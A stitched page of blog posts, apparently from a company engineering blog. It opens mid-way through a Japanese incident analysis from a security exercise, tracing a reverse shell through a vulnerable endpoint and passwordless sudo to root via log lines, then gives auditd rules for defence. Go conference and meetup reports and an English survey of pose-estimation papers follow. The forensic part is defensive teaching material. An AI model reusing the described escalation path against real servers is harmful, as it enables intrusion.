19:10です。この時間前後に/var/log/secureを眺めていたら怪しいログインが見つかりました。

May 27 19:19:09 webserver sshd[28590]: Received disconnect from xx.xx.x.xx: 11: disconnected by user
May 27 19:19:09 webserver sshd[28590]: pam_unix(sshd:session): session closed for user root
May 27 19:20:24 webserver sudo:     application : TTY=pts/2 ; PWD=/home/application ; USER=root; COMMAND=/bin/bash
May 27 19:20:29 webserver sshd[29103]: Accepted publickey for root from xx.xx.xx.xx port 58095 ssh2
May 27 19:20:29 webserver sshd[29103]: pam_unix(sshd:session): session opened for user root by (uid=0)

どこが怪しいかというと、session opened for user applicationのようなログがなく、いきなりapplicationユーザーのコマンド実行履歴が出てきています。 httpdのログを確認すると、19:20:05頃に脆弱性のあるエンドポイントにアクセスしているようで、おそらくリバースシェルを貼る操作だと考えています。

host:xxx.xxx.xx.xx    time:2019-05-27T19:20:05+09:00

時間軸を見れば、攻撃者がリバースシェルを貼ってapplicationユーザーのシェルをとり、sudo命令を実行し、rootシェルを取得したと考えた方が自然です。 さらにこの環境は、applicationユーザーはパスワードなしでsudo実行可能という設定になっています。

rootユーザーの.bash_historyを見ると、

# 5月27日 月曜日 19時20分43秒 JST
uname -a

rootシェル取った後、uname -aを攻撃者が実行させたと思われます。 このようにして、リバースシェルを貼った攻撃者の動きを解析していきました。

対応

実際にこのマルウェアに感染すると、Jenkinsサーバ、Redisサーバへの感染拡大、sshブルートフォースの攻撃が行われる可能性が非常に高いものとなります。 そのため、万が一感染してしまった場合、感染端末から到達可能な各サーバへのアクセスの有無、sshログインの成否などを調査するなど、比較的広い範囲での調査が必要になると考えられます。

振り返り

今回の演習やマルウェア解析を通して、下記のような一般的なセキュリティ対策の重要性を再確認することができました。

  1. ウェブアプリケーションはroot権限、sudo権限などを持つべきではない。
  2. リバースシェルのコマンド履歴は残っていない可能性も高いので、auditdで全てのコマンド実行履歴を残すことが有効。外部に転送しているとなお良い。

    -a exit,always -F arch=b64 -S execve
    -a exit,always -F arch=b32 -S execve
    
  3. NWの分離粒度を小さくすることによる被害の封じ込め(調査範囲を限定するために)
ツイート
シェア
あとで読む
ブックマーク
送る
メールで送る

Go Conference 2019 Spring に参加・発表してきました!

Go Conference 2019 Spring お疲れ様でした!技術企画の玉田です。 みなさんの熱が冷める前にご報告したいと思います。

エンジニアによる登壇

今回、弊社からは「3名」のエンジニアが登壇しました! 各エンジニアからヒトコトをもらいましたのでご紹介します!

Go1.9 で作られた App Engine のサービスを Go1.11 に移行した話

現在 AndApp で進めている App Engine の Go のバージョン移行について取り上げさせていただきました。

App Engine の新しいランタイムが登場し、年単位の猶予はあると想定されるものの、今までと同じようにApp Engineを使えなくなるときに慌てないように、今から少しずつ移行を進める中で、色んな知見が溜まってきたので、これはApp Engineを使ってサービス開発を行ってる方に有用なのではないかと思い、登壇してみました。 ただ、登壇内容としては少しニッチな内容により過ぎてしまったという個人的な反省点があります。

発表では話しきれませんでしたが、Go1.11の次のGo1.12に向けても少しずつ移行の検討を進めているので、まだどこかでお話しできればと思います。

実は、Go Conference のような大きなカンファレンスで発表するのは初めての経験で、当日までとても緊張していましたが、準備に積極的に協力してくれた皆さんのおかげで無事に終えることができました。

Dark side of the reflect

Dark side of the reflect from sairoutine

ORM (Object Relational Mapper) を書いた経験を元に、golang の reflect について発表しました。

発表では時間の都合もあり、触れられなかったのですが、reflect の闇というか、 可読性や保守性を悪くしている点の一つとして、.Elem() という関数が、呼び出し元の reflect の型、 そして reflect の指す型によって挙動が異なる点があります。

reflect.Value の .Elem() 関数は、reflect.Value の指す値がポインタであれば、 ポインタの参照先の reflect.Value を返してくれます。

一方で、reflect.Type の .Elem() 関数は、reflect.Type の指す型がポインタであれば、 ポインタの参照先の reflect.Type を返してくれますが、 reflect.Type の指す型が Array, Slice, Mapであれば、 中身の型の reflect.Type を返してくれます。([]string であれば string の部分の型情報ですね)

コード内のある変数を見たときに、それが reflect.Type なのか reflect.Value なのか、 さらにその reflect.Type あるいは reflect.Value はどの型の値を保持しているのか... といったように、2種類の型を頭に入れないといけない点も、コードを読む際の混乱の一つだと思います。

標準パッケージにおけるテストでの利用例から学ぶ testing.quick パッケージ

今回、Go言語でProperty-based Testing用のライブラリはあるのだろうかと調べたのが発表のきっかけでした。 調べてみたら標準パッケージとして提供されており、しかも標準ライブラリのテストコードにも利用されていることを知り、これは面白いと思いCfPを出してみました。

発表では触れませんでしたが、testing/quickパッケージはProperty-based Testing用のライブラリとしてみると、機能的にはかなり限定されておりシンプルに作られています。 少し物足りないかもと感じる一方で、このあたりにもGo言語における「シンプルさ」という思想が入り込んでいるのだろうと感じました。

今回はLTということで多くを紹介できませんでしたが、testing/quickパッケージのコードを読んでみるとリフレクションの使い方なども学べるので、よろしければ是非コードリーディングをしてみてください。

スポンサーとしての支援

当日は mini Display port のアダプターが無いと伺いましたので、急遽 mini Display Port スポンサーも行いました。

IMG_8155.jpg

また、前回の Go Conference にて懇親会の飲食の量が足らず、十分に懇親出来なかったのではないかとの反省がありました。今回の Go Conference では前回の懇親会予算をすべてベイスターズのビールに注ぎ込んでスポンサードいたしました。「ベイスターズのビール美味しい」との声をいくつもいただき、とても嬉しかったです。

IMG_8521.JPG

おわりに

今回も多くの面白い発表があり、Go界隈の盛り上がりを感じました! 運営者のみなさま、登壇者のみなさま、参加者のみなさま、その他の Go Conference を盛り上げてくださった皆さまのおかげで、とてもよいカンファレンスになったと思います!この場を借りてお礼を申し上げます!

スポンサーセッションでも周知させていただきましたが、 DeNAでは今後も引き続き Go Community に貢献していきたいと思います! 今後共どうぞよろしくおねがいします!

ツイート
シェア
あとで読む
ブックマーク
送る
メールで送る

DeNA.go #1 を開催しました

dena_go_main.png

こんにちは!DeNA.go オーガナイザーの imoty です。2019年5月24日に開催し、社内外から約200名の方にご参加いただいた弊社主催の Go 勉強会、DeNA.go #1 をご紹介します。 

多くの方に関心を持っていただき、また当日ご参加いただき、どうもありがとうございました。 さらにSNS実況で盛り上げにご協力いただいた皆様、アンケートにご回答いただいた皆様にも、この場を借りてお礼を申し上げます。

DeNA.go について

DeNA は様々な事業領域でサービスを展開しており、 Go を色々な事業領域で活用しています。

denago.png


様々な事業でどのように Go を活用しているか紹介すれば面白いのではと思い、本イベントをはじめました。 DeNA.go #1 では 3つの事例をご紹介しました。

当日のトーク

DeNA.go #1 では、オートモーティブ事業と、スポーツ事業における Go 活用事例を紹介しました。また、Go言語委員会の話もご紹介しました。ここで Go 言語委員会とは、弊社の事業部横断の組織のことで、Go言語で開発をする際のガイドラインの整備や、Go言語の実践的なノウハウの共有等を目的としたものです。

動画

当日のトークを動画配信しております。 


次世代配車アプリ「MOV」 Go事例紹介

BAYSTARS におけるGoを用いたシステムリプレイス事例の紹介

Goを使いこなせる組織作りの取り組み

おわりに

弊社の Go 採用事例や、得られた Go の知見を共有しました。 当日皆様に楽しんでいただけたのであれば幸いです。またこの活動が Go コミュニティ盛り上げに少しでもつながればよいなと思っています。

今回はじめて開催するにあたって、社内でさくさくっと登壇者が集まり、非常に質の高い発表をしてくれました。あらためて、弊社の Go エンジニアの層の厚さを実感しました。

DeNA.go は今後も開催予定です。 DeNA.go #1 では紹介しきれなかった、弊社の Go 開発事例をご紹介していきたいです。またいただいたアンケートの結果もいかしていきたいです。

今後ともよろしくお願いします!!  次回開催を楽しみにお待ちください!!

ツイート
シェア
あとで読む
ブックマーク
送る
メールで送る

Survey of Cutting-edge Computer Vision Papers - Human Recognition

Introduction

Hi, I am Hiroto Honda, an AI R&D engineer at DeNA Co., Ltd. Japan. The research engineers in my computer vision (CV) team survey and discuss the latest CV papers every day. This time, we would like to share a part of our survey results on cutting-edge computer vision papers. Authors: Plot Hong, Toshihiro Hayashi and Hiroto Honda.

Contents

Quick Summary

  • Five arXiv papers regarding human and hand pose estimation, markerless motion capture, and body part segmentation are surveyed
  • Using a multi-person pose estimation method on a region of interest is effective for crowded scenes.
  • Keypoint localization accuracy can be improved by taking advantage of high resolution features.
  • 3D human pose and mesh are estimated from a monocular RGB image. In addition to 3D pose estimation methods, deformable 3D mesh model, graph CNN, and synthetic data are utilized.

Scope of the survey

The survey covers CV papers that were submitted to arXiv in November 2018 or later. We have picked the papers which we thought important and researched the details. In this report we introduce cutting-edge papers on human recognition, such as pose estimation.

What is Human Recognition?

In this report we introduce human recognition methods which aim at estimating human pose, human parts area or motion capture information using RGB images as input. The human recognition methods are grouped into two categories: top-down and bottom-up approaches. The top-down methods first detect the human instance regions and investigate each instance afterwards. The bottom-up ones first detect the body parts or joints in the whole image and group them afterwards. The methods we introduce this time are categorized as top-down approaches and single-person recognition. The following tasks are included in human recognition:

  • Pose Estimation: a task to find and localize the human body parts such as eyes, shoulders and knees.
  • Dense Human Pose Estimation: a task to localize dense body part points corresponding to the 3D model of human bodies.
  • Markerless Motion Capture: a task to obtain motion capture output without using markers.
  • Human Parsing: a segmentation task for body parts such as hair, face and arms.

The popular datasets used for human recognition are:

  • MS-COCO is the de-facto dataset which includes annotations for object detection, segmentation, and keypoint detection.
  • MPII, PoseTrack are the datasets for 2D keypoint detection.
  • DensePose is the dataset for dense human pose estimation and includes body point annotation corresponding to the human 3D model.
  • Human3.6M is the 3D human pose dataset.
  • MHP is the dataset for human body part parsing.
  • STB is the dataset for 3D hand pose estimation.

Papers

CrowdPose: Efficient Crowded Scenes Pose Estimation and A New Benchmark (CVPR2019 Oral)

Summary

An occlusion-robust pose estimation method, and the new dataset to better evaluate in crowded scenes

Proposed Method

Pose estimation pipeline

    • YOLOv3 (*1) is adopted for human bounding box detector and AlphaPose (*2) used with modification as a single-person pose estimator (SPPE) within each box.
    • AlphaPose originally calculates training loss on the single person's keypoints as ground truth even if another person's keypoints are within the target image. The proposed method calculates joint-candidate loss which takes all the keypoints within the image into account.
    • The joints detected in all the regions are mapped on the input image. The keypoints which are detected more than twice in different ROIs and close to each other are grouped into joint nodes.
    • All the joint nodes are grouped and integrated by persons at the Global Association step.

CrowdPose dataset

A new dataset called CrowdPose is introduced. The dataset contains 20k images and 80k human instances and the crowdedness of the images is controlled so that the newly introduced Crowd Index satisfies uniform distribution.

human_A1.png Figure A1: Pipeline of our proposed method. Single-person pose estimator (SPPE) estimates all the keypoints existing within the ROI. At the global association step all the keypoints detected in ROIs are grouped together by person.

Results

The relationship between the mean average precision (mAPs) of the de-facto methods and the Crowd Index on the COCO dataset is shown in Fig A2 (left). The mAP drops by 20 points from Crowd Index < 0.1 to > 0.9. When we look at the dataset, in the MSCOCO dataset (persons subset), 67.01% of the images have no overlapped person. On the other hand newly proposed CrowdPose dataset has uniform distribution of Crowd Index (Fig. A2 right).

human_A2.png Figure A2: Relationship between Crowd Index and landmark average precision on COCO dataset (left), Crowd index distribution on MSCOCO (center) and CrowdPose (right).

The benchmark is carried out on the CrowdPose dataset (Fig. A3). The proposed method surpasses the popular methods such as OpenPose, Mask R-CNN, AlphaPose, and Xiao et al.'s method (*3).

human_A3.png Figure A3: Benchmark results on the CrowdPose dataset.

The proposed method surpasses Mask R-CNN, AlphaPose and Xiao et al.'s method.

human_A4.png Figure A4: Benchmark results on MS-COCO test-dev.

Links

Paper: https://arxiv.org/abs/1812.00324

*1 a popular real-time object detection model proposed in 2018.
*2 AlphaPose: single-person pose estimation model and is also referred to as multi-person pose estimation (RMPE). https://arxiv.org/abs/1612.00137
*3 the method of Xiao et al. was state-of-the-art when 'Crowdpose' was developed but had not been open-sourced yet. The authors seem to have re-implemented Xiao et al.'s method. Crowdpose uses YOLOv3 as a human region detector to compare with the method. PyTorch repo open-sourced in Aug. 2018: https://github.com/Microsoft/human-pose-estimation.pytorch

Deep High-Resolution Representation Learning for Human Pose Estimation

Summary

A strong and accurate single-person pose estimation network which maintains high-resolution representations through the whole process.

Proposed Method

Existing single-person pose estimation (SPPE) methods rely on the high-to-low (downsampling) and low-to-high (upsampling) framework, such as theHourglass network or U-Net. The proposed High-Resolution Net (HRNet) is composed of Parallel multi-resolution subnetworks, where high-resolution representations are maintained through the whole process. As shown in Fig. B1, the feature maps at scale 1x are maintained and interact with the other scales. This network design enables spatially precise keypoint heatmap estimation. The input image goes through two convolution layers with stride=2 before entering HRNet, which means the input feature map is at 4x scale compared with the input image. Therefore the 1x, 2x, 4x, and 8x scales in HRNet shown in Fig. B1 correspond to 4x, 8x, 16x, and 32x scales respectively. The channel widths of the feature maps at the four scales are 32, 64, 128, and 256 respectively (HRNet-W32 setting). The feature maps of different scales are integrated (summed up) after being upsampled by strided 3x3 convolution or downsampled by 1x1 convolution and nearest neighbor operation. The final layer of the network still consists of feature maps at four scales, and only 1x-scale feature map which empirically has highest accuracy is used as output. The loss function is the mean square error with ground-truth keypoint heatmaps.

human_B1.png Figure B1: Proposed HRNet. 1x, 2x, and 4x scales in the figure correspond to 4x, 8x and 16x scale compared with the input image.

Results

Multi-person pose estimation results using HRNet outperforms the Simple Baseline method (ECCV Posetrack challenge 2018 winner) and significantly improved precision-speed tradeoff as shown in Fig. B2. The computation complexity comparison between network components of HRNet and Simple Baseline with ResNet50 + deconvolution upsampling is shown in Figure B3. The total computation complexity of HRNet is 7GFLOPs, smaller than 9GFLOPs (Simple Baseline), which is because upsampling layers that have the dominant (~60%) computation cost are integrated in HRNet. Fig. B4 shows the visualization results of HRNet on MPII and COCO dataset. Benchmark results on COCO test-dev dataset is shown in Fig. B5. The HRNet achieves 75.5% AP, which is significantly higher than existing popular methods: OpenPose 61.8%, Mask R-CNN 63.1%, Cascaded Pyramid Network (CPN) 73.0%, Simple Baseline 73.7%, and also higher than CrowdPose (70.9%). HRNet achieves the best accuracy on PoseTrack dataset as well.

human_B2.png Figure B2: Comparison between SimpleBaseline on tradeoffs between average precision and computation cost.

human_B3.png Figure B3: Computation complexity comparison between network components of HRNet and Simple Baseline (ResNet50).

human_B4.png Figure B4: visualization results on MPII (top) and COCO (bottom) datasets.

human_B5.png Figure B5: benchmark results on COCO test-dev.

Links

Paper: https://arxiv.org/abs/1902.09212
PyTorch implementation: https://github.com/leoxiaobin/deep-high-resolution-net.pytorch

Monocular Total Capture: Posing Face, Body, and Hands in the Wild (CVPR2019 Oral)

Summary

A markerless motion capture method to extract the motion of body, face, and fingers from a monocular image or video using a 3D deformable mesh model.

human_C1.png Figure C1: 3D total body motion capture results from monocular images.

Proposed Method

human_C2.png Figure C2: Total capture pipeline of the proposed Method which consists of CNN part, mesh fitting part, and mesh tracking part.

Proposed pipeline consists of three stages as shown in Fig. C2.

  • CNN part: an input image at the ith frame is fed to CNN to obtain joint confidence maps and part orientation fields which represents 3D orientation information of body parts.
  • Mesh fitting part: estimates human motion by adjusting the parameters of the deformable 3D mesh model frame by frame. The 3D mesh model proposed in Total Capture is used.
  • Mesh tracking part: improves temporal consistency across frames by using the image and the parameters of the mesh model at (i - 1)th frame.

Part Orientation Fields L represents the 3D vectors between keypoints as shown in Fig. C3, which is similar to Part Affinity Field used in OpenPose.

human_C3.png Figure C3: Part orientation field. The 3D vectors between keypoints are inferred as a heatmap.

The new dataset is collected using CMU Panoptic Studio . 834K body images and 111K hand images with corresponding 3D pose data are obtained (not available so far).

Results

The proposed single framework achieves comparable results to existing state-of-the-art 3D body pose estimation or hand pose estimation methods as shown in Fig. C4 and C5.

human_C4.png Figure C4: Benchmark results of 3D pose estimation on Human3.6M dataset.

human_C5.png Figure C5: Benchmark results of 3D hand pose estimation on STB dataset.

Links

Paper:https://arxiv.org/abs/1812.01598
Video:https://www.youtube.com/watch?v=rZn15BRf77E

Parsing R-CNN for Instance-Level Human Analysis

Summary

A high-accuracy R-CNN method for human instance recognition tasks such as human body parts parsing and Dense Pose estimation.

human_D1.png Figure D1: The Parsing R-CNN pipeline. Feature Pyramid Network is used as backbone and Bbox branch and Parsing branch are applied to cropped ROIs.

Proposed Method

  1. Feature extraction part: a similar structure as Feature Pyramid Network (FPN) is employed, except that proposals separation sampling (PSS) is used for cropping. PSS selects the ROI proposed by the Region Proposal Network (RPN) only from the P2 scale that has the highest spatial resolution.
  2. Bbox Branch: bounding box regression is carried out for cropped ROIs.
  3. Parsing branch: newly proposed Geometric and Context Encoding (GCE) module is adopted to perform human body parts parsing or dense pose estimation on the ROIs. GCE is composed of Atrous spatial pyramid pooling (ASPP) (*1) to capture features with an enlarged receptive field, and a Non-local Neural Network(*2) to integrate non-local features. Both ASPP and the Non-local part contribute to improving accuracy. Four convolution layers are inserted after GCE, which is empirically better than before GCE. (Figure D1).

human_D2.png Figure D2: Geometric and Context Encoding module that is the part of Parsing branch shown in Fig. D1.

Results

The proposed method outperforms all state-of-the-art methods on CIHP (Crowd Instance-level Human Parsing), MHP v2.0 (Multi-Human Parsing) and DensePose-COCO benchmarks (Figure D3 and D4).

human_D3.png Figure D3: (a) input image (b) Inference result on DensePose task (c) input image (d) Human Parsing Results

human_D4.png Figure D4: 2018 COCO Dense Pose challenge results (left), human parsing benchmark results on CIHP and MHP datasets (right)

Links

Paper: https://arxiv.org/abs/1811.12596

*1 Atrous spatial pyramid pooling is the module that can improve semantic segmentation performance. By operating dilated convolutions with different dilation rates in parallel, the receptive field of the network is enlarged. paper: https://arxiv.org/abs/1802.02611
*2 Non-local Neural Network is the method to integrate similar but non-local features. paper: https://arxiv.org/abs/1711.07971

3D Hand Shape and Pose Estimation from a Single RGB Image (CVPR2019 Oral)

Summary

3D hand pose and 3D mesh estimation from an RGB image, which can run in real-time on GPU at over 50fps (Fig. E1).

Proposed Method

This paper proposes a 3D hand mesh and pose estimation method from a single RGB image utilizing Graph CNN and synthetic data. The 3D mesh data have the graph structure by nature, which is why Graph CNN is effective. Synthetic data are used for training because 3D mesh annotation is extremely laborious and costly. More specifically, the network is trained under supervision of synthetic data with 3D mesh annotations and fine-tuned with weak supervision by the RGBD real-world data. 3D hand joint locations are regressed from the reconstructed 3D hand mesh by using a simplified linear Graph CNN (Fig. E2).

Pipeline(Fig. E2, E3)

  1. 2D heatmap estimation using stacked hourglass network
  2. ResNet encodes the heatmap and the image features into latent feature vectors
  3. 3D mesh inference from the latent feature vectors by Graph CNN
  4. 3D keypoints estimation from the 3D mesh by Linear Graph CNN

At test time, the absolute depth of the root joint and the hand scale are assumed to be provided.

Loss functions for training on synthetic data:

  • heat-map loss: keypoint estimation loss on the 2D images
  • 3D pose loss: L2 loss of 3D keypoint estimation
  • mesh loss: composed of four losses - vertex loss, normal loss, edge loss and Laplacian loss.

Loss functions for fine-tuning on real data:

  • heat-map loss: the same as the one on the synthetic data.
  • depth map loss: smooth L1 loss between ground truth and the depth maps rendered by differentiable renderer from the mesh.
  • pseudo-ground truth loss: pseudo-ground truth mesh is generated using the pretrained models and the ground truth heat-maps. Edge loss and the Laplacian loss are applied as the pseudo-ground truth mesh loss to guarantee the mesh quality.

Results

Although there are no existing methods where 3D mesh is reconstructed from RGB images, the method can produce accurate and reasonable 3D hand mesh compared with baseline methods. As for 3D hand pose estimation, the method outperforms state-of-the-art methods (Fig E4). On STB dataset, higher AUC than Monocular Total Capture is achieved. The pipeline can run at 50FPS on GTX 1080.

human_E1.png Figure E1: Inference results by the proposed methods. Not only 2D / 3D keypoints but also 3D mesh are generated. Results on the synthetic dataset (top), on the real-world dataset (center) and on the STB dataset (bottom).

human_E2.png Figure E2: Training pipeline of the proposed method. (a) fully supervised training on the synthetic dataset and (b) fine-tuning on the real image dataset without 3D mesh or 3D pose ground truth in a weakly-supervised manner.

human_E3.png Figure E3: Graph CNN architecture which generated 3D hand mesh from a latent feature vector.

human_E4.png Figure E4: Benchmark results. Results on the RHD dataset (left), on the STB dataset (center), and on the STB dataset without 3D hand pose supervision (right).

Links

Paper: https://arxiv.org/abs/1903.00812

Conclusion

In this report, we have introduced the latest papers regarding human recognition, specifically pose estimation, hand pose estimation, markerless motion capture, and body part segmentation.
Human pose estimation is getting more and more accurate and able to detect the keypoints that are occluded by other instances. Using a multi-person pose estimation method on a region of interest is effective for crowded scenes. Keypoint localization accuracy can be improved by taking advantage of high resolution features.
3D human (hand) pose and mesh are estimated from a monocular RGB image. In addition to 3D pose estimation, deformable 3D mesh model, graph CNN, and synthetic data are utilized.

Further progress will be made on human recognition techniques and novel attempts and applications will appear every year. We will keep updated on the cutting-edge research to innovate our products and services.

ツイート
シェア
あとで読む
ブックマーク
送る
メールで送る